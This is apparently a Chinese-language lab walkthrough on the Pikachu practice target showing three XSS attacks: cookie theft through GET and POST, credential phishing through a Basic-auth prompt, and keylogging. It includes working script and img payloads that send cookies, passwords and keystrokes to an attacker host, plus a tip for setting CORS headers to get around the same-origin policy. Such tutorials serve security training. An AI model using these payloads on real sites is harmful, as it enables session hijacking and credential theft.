Pikachu-xss漏洞之cookie获取、钓鱼攻击和xss获取键盘记录
将进行下图3个实验,更好的来理解xss的危害和原理
先去修改下Pikachu靶机中的,cookie.php修改成自己的ip
实验1:xss如何获取cookie?
只需要将 Pikachu靶机中的pkxss文件复制到攻击机中的站点(www)下即可。
登入下
默认没任何数据
1.1 GET型XSS利用:cookie获取
先将字符长度的限制给修改掉
pkxss后台:
http://192.168.43.117/pkxss/pkxss_login.php
现在是没任何数据的
在输入框中输入下面语句,输入完后会重定向到Pikachu的首页
<script>document.location = 'http://192.168.43.117/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
刷新pkxss后台
在实际的场景中我们可以把 红框选中的url发送给用户,一旦他访问啦这个链接,我们便会获得他的cookie值
上面我们做的GET型XSS的利用,下面我们来演示
1.2 POST型XSS的利用:cookie获取
首先我们先来查看下,post(xss)的情况,登入下,用户:admin,密码:123456,,提交参数,并抓包
我们可以看到它并没有在url里传递参数
抓包,分析。
通过post方式传到后台的。虽然这里也存在xss,但请求是post方式发送的,我们无法将恶意代码直接嵌到url中发送给目标
这种情况下应该怎么弄?
攻击者伪造表单自动提交页面
原理图(红框选中部分和上面的get型原理是一样的),
接下来我们看下让用户访问的,伪造表单自动提交页面(在Pikachu中的pkxss下的xcookie下的post.html)
并修改漏洞页面为自己Pikachu靶机的ip,pkxss后台为自己的ip。为了方便也可以,将漏洞页面和pkxss搭建在一台主机上。
修改完后记得先去重启下phpstudy服务(如何用的别的软件,都一样,重启下环境服务就行)
修改完后,复制到,其他主机站点(www)下。
模拟的恶意站点:
http://192.168.43.118/post.html
当有用户点这个链接时,,就会实现我们的攻击目的。
实验2:钓鱼攻击
思路:在一个存在xss漏洞上的页面上嵌入一个链接请求,请求会返回一个Basic认证的一个头部。
若用户信息安全意识不够,输入了用户和密码,那么这些会被发送到pkxss后台
我们的实验用 存储型xss模块演示
我们只需要在这个存储型的页面上去,嵌入一个能够访问我们后台的返回Basic认证的标签就行,
这里可以用a标签、img、<script>
<img src="http://192.168.43.117/pkxss/xfish/fish.php" />
<script src="http://192.168.43.117/pkxss/xfish/fish.php"></script>
查看下fish.php源码,其中location(重定向)换成自己的ip
和我们之前获取cookie一样,钓鱼的后台也有个接口(xfish.php)
获取远程的数据,通过get方式去获取账号密码存到库里面。
返回输入框,输入(其实里面没有什么内容,只是用src调用我们的远端php文件)
<script src="http://192.168.43.117/pkxss/xfish/fish.php"></script>
若输入了账号和密码,去pkxss后台可查看
实验3:xss获取键盘记录
在实验前,我们先了解下什么是跨越
为什么要有同源策略:
A登入了淘宝,攻击者向A发送了一个恶意链接urlb:http://www.giao你cookie.com
如果没有同源策略不用xss和其他漏洞就能读你的cookie信息,即urlb上的js可以操作A的内容(如:获取cookie等)
有啦同源策略(所有的浏览器共同约定的同源策略),就限制啦这种情况
再比如:
一个恶意站点A上使用啦<iframe src= "B站点登陆页面" > ,发送该恶意url到攻击对象,攻击对象登陆后如果,没有同源策略,
则A上的JS即可获取B站点的登录信息。
开始实验
我们仍然是用存储型xss来演示,先看下pkxss后台的键盘记录
修改ip,ip为自己pkxss后台的ip地址
返回输入框,
<script src= "http://192.168.43.117/pkxss/rkeypress/rk.js"></script>
这一策略就违反啦同源策略,(ajax)
打开浏览器控制台
随着键盘的输入,会显示错误。(当然这时,pkxss后台也是没有键盘记录的)
由于192.168.43.117/pkxss/rkeypress/rkserver.php是攻击者自己搭建的,
攻击者可以允许所有的人跨域请求他,因为这个网站是攻击者自己的,
为了实现攻击目的,可以rkserver.php把里面的Access-Control允许所有人访问。
这样的话,存在xss漏洞的页面调js跨越请求…43.117的时候就可以正常访问啦。
改完,在页面输入后,pkxss后台会有键盘记录。